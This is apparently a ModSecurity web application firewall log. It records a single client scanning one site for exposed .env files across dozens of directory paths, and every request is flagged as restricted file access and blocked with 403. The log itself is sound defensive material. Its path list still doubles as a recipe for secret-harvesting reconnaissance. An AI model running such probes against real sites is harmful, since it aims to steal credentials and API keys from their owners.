[Sun Oct 25 13:42:17.455197 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at4_eWROfIjgFWURimb5vgAAABw"]
[Sun Oct 25 13:42:17.455412 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at4_eWROfIjgFWURimb5vgAAABw"]
[Sun Oct 25 13:42:17.456604 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at4_edANyK5EpBCn2dDqeQAAABk"]
[Sun Oct 25 13:42:17.456790 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at4_edANyK5EpBCn2dDqeQAAABk"]
[Sun Oct 25 13:42:17.456994 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at4_edANyK5EpBCn2dDqeQAAABk"]
[Sun Oct 25 13:42:17.550132 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at4_ed0xbXd9S994rNKOEwAAABo"]
[Sun Oct 25 13:42:17.550391 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at4_ed0xbXd9S994rNKOEwAAABo"]
[Sun Oct 25 13:42:17.550672 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at4_ed0xbXd9S994rNKOEwAAABo"]
[Sun Oct 25 13:42:17.552037 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at4_eRZgtJmP1ZCwXoKoWgAAAB0"]
[Sun Oct 25 13:42:17.552201 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at4_eRZgtJmP1ZCwXoKoWgAAAB0"]
[Sun Oct 25 13:42:17.552415 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at4_eRZgtJmP1ZCwXoKoWgAAAB0"]
[Sun Oct 25 13:42:17.610978 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pipeline/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at4_efVVegKXGA0pTecXmwAAACM"]
[Sun Oct 25 13:42:17.611246 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at4_efVVegKXGA0pTecXmwAAACM"]
[Sun Oct 25 13:42:17.611519 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at4_efVVegKXGA0pTecXmwAAACM"]
[Sun Oct 25 13:42:17.616624 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at4_eUro6bHDhZQ8Cou1UwAAABQ"]
[Sun Oct 25 13:42:17.616831 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at4_eUro6bHDhZQ8Cou1UwAAABQ"]
[Sun Oct 25 13:42:17.617097 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at4_eUro6bHDhZQ8Cou1UwAAABQ"]
[Sun Oct 25 13:42:17.674607 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at4_eeg9pzNQjEGi_V9rjgAAACY"]
[Sun Oct 25 13:42:17.675007 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at4_eeg9pzNQjEGi_V9rjgAAACY"]
[Sun Oct 25 13:42:17.675458 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at4_eeg9pzNQjEGi_V9rjgAAACY"]
[Sun Oct 25 13:42:17.699679 2026] [security2:error] [pid 2873152:tid 2873152] [client 34.85.93.218:50836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at4_eYW9AQ683bVF6pkMuwAAACU"]
[Sun Oct 25 13:42:17.700095 2026] [security2:error] [pid 2873152:tid 2873152] [client 34.85.93.218:50836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at4_eYW9AQ683bVF6pkMuwAAACU"]
[Sun Oct 25 13:42:17.700600 2026] [security2:error] [pid 2873152:tid 2873152] [client 34.85.93.218:50836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at4_eYW9AQ683bVF6pkMuwAAACU"]
[Sun Oct 25 13:42:17.720937 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /data/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at4_eXad5AfzdkHmtxKJ5AAAACE"]
[Sun Oct 25 13:42:17.721160 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at4_eXad5AfzdkHmtxKJ5AAAACE"]
[Sun Oct 25 13:42:17.721434 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at4_eXad5AfzdkHmtxKJ5AAAACE"]
[Sun Oct 25 13:42:17.739632 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at4_edANyK5EpBCn2dDqegAAABk"]
[Sun Oct 25 13:42:17.739847 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at4_edANyK5EpBCn2dDqegAAABk"]
[Sun Oct 25 13:42:17.740119 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at4_edANyK5EpBCn2dDqegAAABk"]
[Sun Oct 25 13:42:18.033138 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at4_enad5AfzdkHmtxKJ5QAAACE"]
[Sun Oct 25 13:42:18.033474 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at4_enad5AfzdkHmtxKJ5QAAACE"]
[Sun Oct 25 13:42:18.033883 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at4_enad5AfzdkHmtxKJ5QAAACE"]
[Sun Oct 25 13:42:18.060349 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cmd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at4_epkDGkILNr0EMn3BagAAACw"]
[Sun Oct 25 13:42:18.060581 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at4_epkDGkILNr0EMn3BagAAACw"]
[Sun Oct 25 13:42:18.060886 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at4_epkDGkILNr0EMn3BagAAACw"]
[Sun Oct 25 13:42:18.064792 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pkg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at4_etANyK5EpBCn2dDqewAAABk"]
[Sun Oct 25 13:42:18.064936 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at4_etANyK5EpBCn2dDqewAAABk"]
[Sun Oct 25 13:42:18.065191 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at4_etANyK5EpBCn2dDqewAAABk"]
[Sun Oct 25 13:42:18.086056 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at4_et0xbXd9S994rNKOFAAAABo"]
